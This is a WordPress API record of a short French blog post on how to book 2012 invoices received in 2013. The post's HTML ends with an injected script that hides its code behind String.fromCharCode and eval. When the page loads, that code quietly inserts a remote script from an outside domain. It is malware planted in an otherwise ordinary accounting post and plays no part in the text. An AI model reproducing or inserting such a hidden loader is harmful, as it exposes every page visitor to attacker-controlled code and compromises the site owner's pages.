{"id":712,"date":"2013-01-20T08:00:10","date_gmt":"2013-01-20T07:00:10","guid":{"rendered":"http:\/\/www.3coh.net\/actualites\/?p=619"},"modified":"2013-01-20T08:00:10","modified_gmt":"2013-01-20T07:00:10","slug":"19","status":"publish","type":"post","link":"https:\/\/ipresences.com\/Blog\/archives\/712","title":{"rendered":"MEME QUESTION, MEME R\u00c9PONSE"},"content":{"rendered":"<p class=\"fltr\" style=\"text-align: justify;\">Un tricoteur nous pose la question suivante : <em><span style=\"font-weight: bold;\">\u00ab Comment traiter les factures de 2012 parvenues en 2013 ? \u00bb<\/span><\/em><\/p>\n<p class=\"fltr\" style=\"text-align: justify;\">Que signifie <em><span style=\"font-weight: bold;\">\u00ab facture de 2012 parvenue en 2013 ? \u00bb<\/span><\/em>. Si la facture parvient en 2013, c\u2019est une facture de 2013. En effet, rappelons que la date de la facture est celle de sa r\u00e9ception par l\u2019\u00e9tablissement; ce n\u2019est donc pas la date qui figure sur la facture (date de la pi\u00e8ce justificative). Cette facture portera donc la date de 2013<\/p>\n<p class=\"fltr\" style=\"text-align: justify;\">Cependant, si cette facture r\u00e9sulte de biens command\u00e9s en 2012 et si cette facture est re\u00e7ue par l\u2019\u00e9tablissement avant le 31 mars 2013, elle devra \u00eatre liquid\u00e9e en utilisant le budget de 2012.<\/p>\n<p class=\"fltr\" style=\"text-align: justify;\">Par ailleurs si les biens (stocks ou immobilisations) ont \u00e9t\u00e9 re\u00e7us en 2012, il faudra enregistrer, le 31.12.2012, la facture attendue comme \u00ab facture non parvenue \u00bb<\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Un tricoteur nous pose la question suivante : \u00ab Comment traiter les factures de 2012 parvenues en 2013 ? \u00bb Que signifie \u00ab facture de 2012 parvenue en 2013 ? \u00bb. Si la facture parvient en 2013, c\u2019est une facture de 2013. En effet, rappelons que la date de la facture est celle de sa &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/ipresences.com\/Blog\/archives\/712\"> <span class=\"screen-reader-text\">MEME QUESTION, MEME R\u00c9PONSE<\/span> Lire la suite\u00a0\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","footnotes":""},"categories":[88],"tags":[],"class_list":["post-712","post","type-post","status-publish","format-standard","hentry","category-actualites"],"_links":{"self":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/712","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/comments?post=712"}],"version-history":[{"count":0,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/712\/revisions"}],"wp:attachment":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media?parent=712"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/categories?post=712"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/tags?post=712"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}